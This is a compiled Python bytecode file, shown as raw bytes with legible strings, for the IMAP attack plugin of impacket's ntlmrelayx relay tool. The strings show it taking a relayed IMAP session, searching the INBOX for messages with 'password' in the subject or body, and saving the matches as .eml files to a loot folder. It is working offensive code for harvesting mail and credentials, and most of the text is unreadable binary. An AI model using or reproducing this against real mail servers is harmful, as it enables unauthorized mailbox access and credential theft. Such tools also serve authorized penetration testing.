o
    àý°j  ã                   @   s@   d dl Z d dlZd dlmZ d dlmZ dZG dd„ deƒZdS )é    N)ÚLOG)ÚProtocolAttackÚ
IMAPAttackc                   @   s    e Zd ZdZddgZdd„ ZdS )r   a  
    This is the default IMAP(s) attack. By default it searches the INBOX imap folder
    for messages with "password" in the header or body. Alternate keywords can be specified
    on the command line. For more advanced attacks, consider using the SOCKS feature.
    ÚIMAPÚIMAPSc              	   C   sj  | j j}| j |d¡\}}|dkr*t d||f ¡ t d¡ d}| j |d¡\}}t|d ƒ}t d||f ¡ | j js„| j 	d dd	d
| j j
 dd
| j j
 ¡\}}|dkr_t d| ¡ d S g }|D ]	}|| d¡7 }qc| j jdkrƒt|ƒ| j jkrƒ|d | j j… }n!| j jdks�| j j|kršttd|d ƒƒ}nttd| j jd ƒƒ}t|ƒ}|dkr³t d¡ n{t d|| j j
f ¡ t|ƒD ]k\}	}
| j |
d¡\}}|dkrÝt d|
|f ¡ qÂt dd|¡}t dd| j¡}d| d | d t|
ƒ d }ttj | j j|¡dƒ�}| |d d ¡ W d   ƒ n	1 �sw   Y  t d|	d |f ¡ qÂ| j ¡  d S )NTÚOKzCould not open mailbox %s: %szOpening mailbox INBOXÚINBOXr   zFound %s messages in mailbox %sÚORÚSUBJECTz"%s"ÚBODYzSearch failed: %sú é   z5No messages were found containing the search keywordsz,Dumping %d messages found by search for "%s"z(RFC822)z)Could not fetch message with index %s: %sz[^a-zA-Z0-9_\-\.]+Ú_Úmail_ú-z.emlÚwzDone fetching message %d/%d)ÚconfigÚmailboxÚclientÚselectr   ÚerrorÚinfoÚintÚdump_allÚsearchÚkeywordÚsplitÚdump_maxÚlenÚlistÚrangeÚ	enumerateÚfetchÚreÚsubÚusernameÚstrÚopenÚosÚpathÚjoinÚlootdirÚwriteÚlogout)ÚselfÚ	targetBoxÚresultÚdataÚ
inboxCountÚrawdataÚdumpMessagesÚmsgsÚnumMsgsÚiÚmsgIndexÚ
rawMessageÚmailboxNameÚtextUserNameÚfileNameÚof© r>   ú¢/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/imapattack.pyÚrun!   sP   
*€ ÿzIMAPAttack.runN)Ú__name__Ú
__module__Ú__qualname__Ú__doc__ÚPLUGIN_NAMESr@   r>   r>   r>   r?   r      s    )r#   r(   Úimpacketr   Ú$impacket.examples.ntlmrelayx.attacksr   ÚPROTOCOL_ATTACK_CLASSr   r>   r>   r>   r?   Ú<module>   s   